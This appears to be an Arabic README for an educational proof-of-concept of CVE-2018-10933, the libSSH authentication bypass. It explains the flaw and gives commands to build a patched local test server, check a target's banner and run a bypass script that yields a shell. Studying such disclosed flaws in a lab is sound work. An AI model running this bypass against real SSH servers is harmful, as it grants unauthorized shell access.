
لأغراض تعليمية لـ CVE-2018-10933
[شرح]
هذا لأغراض تعليمية لـ CVE-2018-10933، وهو تجاوز المصادقة في libSSH!
إصدارات libssh 0.6 وما فوق تحتوي على ثغرة أمنية في تجاوز المصادقة في كود الخادم.
من خلال تقديم رسالة SSH2_MSG_USERAUTH_SUCCESS للخادم بدلاً من رسالة SSH2_MSG_USERAUTH_REQUEST
التي يتوقعها الخادم لبدء المصادقة، يمكن للمهاجم المصادقة بنجاح دون أي بيانات اعتماد.
يحتوي مجلد "patch" على كود معدل في الخادم لأغراض الاختبار (يقوم بحقن حزمة SSH2_MSG_USERAUTH_SUCCESS أثناء أي عملية مصادقة)،
وذلك لأن هذه الثغرة قد تم إصلاحها منذ إصدار libSSH-0.7.5 (من الصعب إعادة إنشاء بيئة مناسبة بالإصدار القديم من libSSH).
[الاستخدام]
إذا كنت ترغب في تشغيل هذا الإثبات العملي (PoC) على جهازك، يرجى اتباع التعليمات.
استنساخ المستودعات.
إضافة المكتبة إلى جهازك المحلي
sudo cp CVE-2018-10933-PoC/libssh-0.8.3/src/* /usr/local/lib
pip install -r requirements.txt
cd libssh-0.8.3
./ssh_server -v [server_IP] -p [port] -d ssh_host_dsa_key -k ssh_host_rsa_key
python3 libSSHcheck.py -t [server_IP] -p [server_port]
ثم ستحصل على الرسالة التي هي الشعار (banner).
تنفيذ الحمولة (payload)، ثم ستحصل على شل:
python3 paramikoBypass.py -t [server_IP] -p [server_port]
=> نجاح!
[المرجع]
https://github.com/hackerhouse-opensource/
https://www.exploit-db.com/exploits/45638